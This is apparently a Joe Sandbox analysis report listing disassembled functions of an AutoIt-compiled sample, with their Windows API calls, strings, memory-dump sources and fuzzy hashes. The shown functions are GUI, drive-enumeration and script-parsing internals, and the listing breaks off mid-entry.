Opcode Fuzzy Hash: 9cfa85b07153a2f9ebc0d44a8b1cf3ae86c463dd35cf09106f800c39ca2a414a
Instruction Fuzzy Hash: 1FD05E3226060EABEF018FA4DC01EAE3B6AEB04B01F408111FE15C50A1C775D835AB60

Function 005FA124 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 005FA12A

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: d19cc2a004fec3c001629fd2041d86e7b6612c39b52edd8ae27fcf89dc1975a7
Instruction ID: e51cbce68a99669e651745ce8e8a1d2a9c05bbea89b8b93fc521d0e91283e77b
Opcode Fuzzy Hash: d19cc2a004fec3c001629fd2041d86e7b6612c39b52edd8ae27fcf89dc1975a7
Instruction Fuzzy Hash: 3EA0113000020CAB8B002F82EC08888BFAEEA002A2B008020F80C800328F32A8208AC0

Function 005E8808 Relevance: .6, Instructions: 590COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3b1a6dbdf87547547ab0d11ecf7e38b5917e3117128df7e9666ccbf8bc6c778
Instruction ID: 93447b06a28c4e49022506bd3cad50bd997cb943cbd7a1b7df255b42b9de8f63
Opcode Fuzzy Hash: c3b1a6dbdf87547547ab0d11ecf7e38b5917e3117128df7e9666ccbf8bc6c778
Instruction Fuzzy Hash: 8A2247309049A6CBDF3C8A16E4943BC7BA2FF41354F28846AD9DBCB592DB709D91CB41

Function 005F21C5 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 931427f927241aa83674c718d4812886cc2ba70f1219636067942eb9825fb478
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 3BC1A1762094974ADF2D463A843403FFEA17EA27B171A076DD9B3CF1D4EE28C925D620

Function 005F25FA Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: e1bc05c1aa4088846a4719d2765ed91d2b2d2d383628b84f0f07543e54f2bd62
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 3FC1A0722095974ADF2D463AC43403FBEA1BEA27B171A076DD5B3DB0D4EE28C924D620

Function 005F1978 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 81e3d15e5d28f9506ed520158c6da32b00eaa1f304a001fe4231a03bd3596109
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 57C19F3220999789DF2D463AC43403FBFA17EA27B131A076DD5B3CB1C4EE28C925D664

Function 0065356B Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,0065F910), ref: 00653627
IsWindowVisible.USER32(?), ref: 0065364B

Strings

GETCURRENTCOL, xrefs: 00653928
TABLEFT, xrefs: 00653687
SHOWDROPDOWN, xrefs: 006536E0
GETSELECTED, xrefs: 006538A3
CHECK, xrefs: 0065386D
GETLINECOUNT, xrefs: 006538C6
DELSTRING, xrefs: 00653749
HIDEDROPDOWN, xrefs: 00653700
UNCHECK, xrefs: 00653883
GETCURRENTLINE, xrefs: 006538ED
ISVISIBLE, xrefs: 00653637
EDITPASTE, xrefs: 0065395F
GETLINE, xrefs: 0065399B
CURRENTTAB, xrefs: 006536BD
GETCURRENTSELECTION, xrefs: 006537E3
SETCURRENTSELECTION, xrefs: 006537B6
TABRIGHT, xrefs: 0065369D
SELECTSTRING, xrefs: 00653806
ISENABLED, xrefs: 0065366B
SENDCOMMANDID, xrefs: 006539DA
FINDSTRING, xrefs: 00653776
ISCHECKED, xrefs: 00653839
ADDSTRING, xrefs: 00653716

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 5467ddaee256139e1f0888d593602ebaafd2d68ddd047ad3c55b00530b7da2f4
Instruction ID: 6b0ee26088c543bbaae27cb76208c08e4cdf7f58988727e175437bd873b3a8dd
Opcode Fuzzy Hash: 5467ddaee256139e1f0888d593602ebaafd2d68ddd047ad3c55b00530b7da2f4
Instruction Fuzzy Hash: 1BD18D702047129BCB14EF14C955AAE7BA3AF94B85F084459FC825B3E3DB21EE4ACB51

Function 0065A5DA Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0065A630
GetSysColorBrush.USER32(0000000F), ref: 0065A661
GetSysColor.USER32(0000000F), ref: 0065A66D
SetBkColor.GDI32(?,000000FF), ref: 0065A687
SelectObject.GDI32(?,00000000), ref: 0065A696
InflateRect.USER32(?,000000FF,000000FF), ref: 0065A6C1
GetSysColor.USER32(00000010), ref: 0065A6C9
CreateSolidBrush.GDI32(00000000), ref: 0065A6D0
FrameRect.USER32(?,?,00000000), ref: 0065A6DF
DeleteObject.GDI32(00000000), ref: 0065A6E6
InflateRect.USER32(?,000000FE,000000FE), ref: 0065A731
FillRect.USER32(?,?,00000000), ref: 0065A763
GetWindowLongW.USER32(?,000000F0), ref: 0065A78E

Part of subcall function 0065A8CA: GetSysColor.USER32(00000012), ref: 0065A903
Part of subcall function 0065A8CA: SetTextColor.GDI32(?,?), ref: 0065A907
Part of subcall function 0065A8CA: GetSysColorBrush.USER32(0000000F), ref: 0065A91D
Part of subcall function 0065A8CA: GetSysColor.USER32(0000000F), ref: 0065A928
Part of subcall function 0065A8CA: GetSysColor.USER32(00000011), ref: 0065A945
Part of subcall function 0065A8CA: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0065A953
Part of subcall function 0065A8CA: SelectObject.GDI32(?,00000000), ref: 0065A964
Part of subcall function 0065A8CA: SetBkColor.GDI32(?,00000000), ref: 0065A96D
Part of subcall function 0065A8CA: SelectObject.GDI32(?,?), ref: 0065A97A
Part of subcall function 0065A8CA: InflateRect.USER32(?,000000FF,000000FF), ref: 0065A999
Part of subcall function 0065A8CA: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0065A9B0
Part of subcall function 0065A8CA: GetWindowLongW.USER32(00000000,000000F0), ref: 0065A9C5
Part of subcall function 0065A8CA: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0065A9ED

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: a2de713f8c8c929f734bc290668e3ab63617538b036b4f0d98c578977681e38d
Instruction ID: b9b73545b736ae584cf4bb8f349da43fe63df81e1c43b33a56147a638bdfa953
Opcode Fuzzy Hash: a2de713f8c8c929f734bc290668e3ab63617538b036b4f0d98c578977681e38d
Instruction Fuzzy Hash: 31917C72008301EFC711DFA4DC08A5BBBAAFF89322F141B29F9A2961E1D771D945CB52

Function 005D2C18 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 005D2CA2
DeleteObject.GDI32(00000000), ref: 005D2CE8
DeleteObject.GDI32(00000000), ref: 005D2CF3
DestroyIcon.USER32(00000000,?,?,?), ref: 005D2CFE
DestroyWindow.USER32(00000000,?,?,?), ref: 005D2D09
SendMessageW.USER32(?,00001308,?,00000000), ref: 0060C43B
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 0060C474
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0060C89D

Part of subcall function 005D1B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,005D2036,?,00000000,?,?,?,?,005D16CB,00000000,?), ref: 005D1B9A

SendMessageW.USER32(?,00001053), ref: 0060C8DA
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 0060C8F1
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0060C907
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0060C912

Strings

0, xrefs: 0060C731

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: 6388e75bd0167f24860846d7df80b636a56b005d3fab2cd7f2913ef9439866a9
Instruction ID: a18f0c1346f8f0eeabd6916c42f8f8a66320211f906d3e781265e627e1ad44b9
Opcode Fuzzy Hash: 6388e75bd0167f24860846d7df80b636a56b005d3fab2cd7f2913ef9439866a9
Instruction Fuzzy Hash: D3129030150201AFDB29CF28C894BAABBE6FF55321F54466AF855CB3A2C731EC51DB51

Function 006474AB Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 006474DE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0064759D
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 006475DB
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 006475ED
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00647633
GetClientRect.USER32(00000000,?), ref: 0064763F
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00647683
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00647692
GetStockObject.GDI32(00000011), ref: 006476A2
SelectObject.GDI32(00000000,00000000), ref: 006476A6
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 006476B6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 006476BF
DeleteDC.GDI32(00000000), ref: 006476C8
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 006476F4
SendMessageW.USER32(00000030,00000000,00000001), ref: 0064770B
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00647746
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 0064775A
SendMessageW.USER32(00000404,00000001,00000000), ref: 0064776B
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 0064779B
GetStockObject.GDI32(00000011), ref: 006477A6
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 006477B1
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 006477BB

Strings

msctls_progress32, xrefs: 0064773C
static, xrefs: 0064767D, 00647795
DISPLAY, xrefs: 00647688
AutoIt v3, xrefs: 0064762B

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 9035790420c782a6f2491a896be5a92e4fe9a19a90510f5d727df5c8a30b1f46
Instruction ID: 5b285c37f70b2297aa0308eeb59b1b3da91bf97db26f43ecc5707d379b5b6d54
Opcode Fuzzy Hash: 9035790420c782a6f2491a896be5a92e4fe9a19a90510f5d727df5c8a30b1f46
Instruction Fuzzy Hash: A7A13171A40615BFEB14DFA8DD4AFAE7BBAEB48711F004115FA15A72E0DB70AD00CB64

Function 0063AD10 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0063AD1E
GetDriveTypeW.KERNEL32(?,0065FAC0,?,\\.\,0065F910), ref: 0063ADFB
SetErrorMode.KERNEL32(00000000,0065FAC0,?,\\.\,0065F910), ref: 0063AF59

Strings

Removable, xrefs: 0063AE4D
\\.\, xrefs: 0063AD70
Virtual, xrefs: 0063AF21
SATA, xrefs: 0063AF0C
Unknown, xrefs: 0063AE1B, 0063AEBF
MMC, xrefs: 0063AF1A
RAMDisk, xrefs: 0063AE25
Network, xrefs: 0063AE39
SSD, xrefs: 0063AE86
SCSI, xrefs: 0063AEC6
USB, xrefs: 0063AEF0
Fixed, xrefs: 0063AE43
CDROM, xrefs: 0063AE2F
ATAPI, xrefs: 0063AECD
Fibre, xrefs: 0063AEE9
ATA, xrefs: 0063AED4
SSA, xrefs: 0063AEE2
PhysicalDrive, xrefs: 0063ADA7
iSCSI, xrefs: 0063AEFE
RAID, xrefs: 0063AEF7
1394, xrefs: 0063AEDB
SAS, xrefs: 0063AF05
FileBackedVirtual, xrefs: 0063AF28

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 1683bae592f67589ee4d21a61438ec78300468762657682b9e9f9696c3fa4d11
Instruction ID: fb5d609bf3b75196a71a35bb8a1fdce0227c14017306189a5db92038191d9085
Opcode Fuzzy Hash: 1683bae592f67589ee4d21a61438ec78300468762657682b9e9f9696c3fa4d11
Instruction Fuzzy Hash: A55170B4644205AF8B14EF94C942CBD77A3EF88700F61425BE486A73D1DA319D42FB82

Function 005D68DC Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 005D6931
__wcsnicmp.LIBCMT ref: 005D6949
__wcsnicmp.LIBCMT ref: 005D6961
__wcsnicmp.LIBCMT ref: 005D6979
__wcsnicmp.LIBCMT ref: 005D6991
__wcsnicmp.LIBCMT ref: 005D69A9
__wcsnicmp.LIBCMT ref: 005D69C1
__wcsnicmp.LIBCMT ref: 005D69D5
__wcsnicmp.LIBCMT ref: 005D6A16
__wcsnicmp.LIBCMT ref: 005D6A2A
__wcsnicmp.LIBCMT ref: 005D6A3E
__wcsnicmp.LIBCMT ref: 005D6A52

Strings

#ce, xrefs: 005D6A4C
#cs, xrefs: 005D69CF, 005D6A24
#requireadmin, xrefs: 005D695B
Unterminated group of comments, xrefs: 0060E403
Cannot parse #include, xrefs: 0060E3F0
#include, xrefs: 005D69A3
#comments-end, xrefs: 005D6A38
#notrayicon, xrefs: 005D6943
#include-once, xrefs: 005D698B
#comments-start, xrefs: 005D69BB, 005D6A10
#OnAutoItStartRegister, xrefs: 005D6973
#pragma compile, xrefs: 005D692B
Bad directive syntax error, xrefs: 0060E31A

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: f95afb6fcf1cb1392610b46d2c2da4f89e286acccacb114798ec94676525a092
Instruction ID: c9f4854595a069d75eda43880f87a482d750163a7a9e3e9a9cd75824f698a5a3
Opcode Fuzzy Hash: f95afb6fcf1cb1392610b46d2c2da4f89e286acccacb114798ec94676525a092
Instruction Fuzzy Hash: 968118B164021AAADB34BB64DC56FBB3F6AFF44740F040027FD41AA2D2EB61DA46C251

Function 00659A1C Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 00659AD2
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00659B8B
SendMessageW.USER32(?,00001102,00000002,?), ref: 00659BA7

Strings

0, xrefs: 00659BE4

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: 611b0894d8788cd84fa30931772e910f93acf315c7ade1e418cbbc47e752aee9
Instruction ID: bd555e85d5f5da1ed8b342bc3db3ef29e731b7599f2e8cc34b26a88b69def4b8
Opcode Fuzzy Hash: 611b0894d8788cd84fa30931772e910f93acf315c7ade1e418cbbc47e752aee9
Instruction Fuzzy Hash: 1602BC30104301EFDB25CF24C949BAABBE6FF49316F04862DF999962A1C774D949CB62

Function 0065A8CA Relevance: 39.2, APIs: 26, Instructions: 187windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 0065A903
SetTextColor.GDI32(?,?), ref: 0065A907
GetSysColorBrush.USER32(0000000F), ref: 0065A91D
GetSysColor.USER32(0000000F), ref: 0065A928
CreateSolidBrush.GDI32(?), ref: 0065A92D
GetSysColor.USER32(00000011), ref: 0065A945
CreatePen.GDI32(00000000,00000001,00743C00), ref: 0065A953
SelectObject.GDI32(?,00000000), ref: 0065A964
SetBkColor.GDI32(?,00000000), ref: 0065A96D
SelectObject.GDI32(?,?), ref: 0065A97A
InflateRect.USER32(?,000000FF,000000FF), ref: 0065A999
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0065A9B0
GetWindowLongW.USER32(00000000,000000F0), ref: 0065A9C5
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0065A9ED
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0065AA14
InflateRect.USER32(?,000000FD,000000FD), ref: 0065AA32
DrawFocusRect.USER32(?,?), ref: 0065AA3D
GetSysColor.USER32(00000011), ref: 0065AA4B
SetTextColor.GDI32(?,00000000), ref: 0065AA53
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0065AA67
SelectObject.GDI32(?,0065A5FA), ref: 0065AA7E
DeleteObject.GDI32(?), ref: 0065AA89
SelectObject.GDI32(?,?), ref: 0065AA8F
DeleteObject.GDI32(?), ref: 0065AA94
SetTextColor.GDI32(?,?), ref: 0065AA9A
SetBkColor.GDI32(?,?), ref: 0065AAA4

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 9d0e685d71bfd16bdbb50c1aaeb705722603e021bca66d2b8c600017db831771
Instruction ID: 9eeb52bf4e2500782e9f0b5a6dbac267745715ffa96208d90c2fb554e554cd68
Opcode Fuzzy Hash: 9d0e685d71bfd16bdbb50c1aaeb705722603e021bca66d2b8c600017db831771
Instruction Fuzzy Hash: 02513B71900218EFDB11DFA4DC48EAEBBBAFB48322F115225F911AB2A1D7759940DB90

Function 006589D5 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00658AC1
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00658AD2
CharNextW.USER32(0000014E), ref: 00658B01
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00658B42
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00658B58
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00658B69
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00658B86
SetWindowTextW.USER32(?,0000014E), ref: 00658BD8
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00658BEE
SendMessageW.USER32(?,00001002,00000000,?), ref: 00658C1F
_memset.LIBCMT ref: 00658C44
